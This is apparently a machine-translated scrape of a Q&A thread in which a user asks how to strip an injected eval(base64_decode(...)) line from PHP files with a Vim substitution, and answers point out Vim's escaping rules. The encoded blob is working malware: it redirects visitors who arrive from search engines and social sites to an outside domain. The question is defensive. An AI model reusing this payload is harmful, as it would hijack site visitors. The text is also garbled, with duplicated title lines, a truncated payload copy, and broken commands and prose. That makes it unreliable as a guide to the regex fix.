Regex 什么';我的VIM正则表达式搜索和替换一些代码有什么问题吗?
我在php文件中有以下代码Regex 什么';我的VIM正则表达式搜索和替换一些代码有什么问题吗?,regex,vim,Regex,Vim,我在php文件中有以下代码 eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigk
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ydW56b3IuZG5zcmQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
我打开VIM并尝试运行0,$s/eval(+;//gc
来删除它的所有实例,但是VIM说找不到模式。正确的表达式是什么
注意-根据我的评论,我还尝试了0、$s/eval\(.+;//gc
和VIME54:Unmatched\(E476:Invalid command
我还尝试了
0,$s/eval\(.\+;//gc
,再次得到E54:Unmatched\(E476:Vim中的无效命令
,与其他大多数地方不同,某些元字符必须转义才能用作元字符,而不是转义为文字。因此,您需要将+
转义为\+
,以匹配前面的一个或多个
上面的内容已经过测试,可以使用PHP代码段
编辑:抱歉-上一个版本有一个错误的
\(
其中(
应该作为文本取消scape)。我还尝试了0、$s/eval\(.+;//gc
和VIME54:不匹配\(E476:无效命令
Vim regex要求您转义+
,以便将其用作元字符而不是文字。使用\+
%s/eval转义(.*//gc
这似乎对我有用。或者它应该是@DanteisnotaGeek所说的1,$s
。@Cthulhu您的答案也是这样吗worked@Cthulhu我的意思是取消对(
-对不起
0,$s/eval(.\+;//gc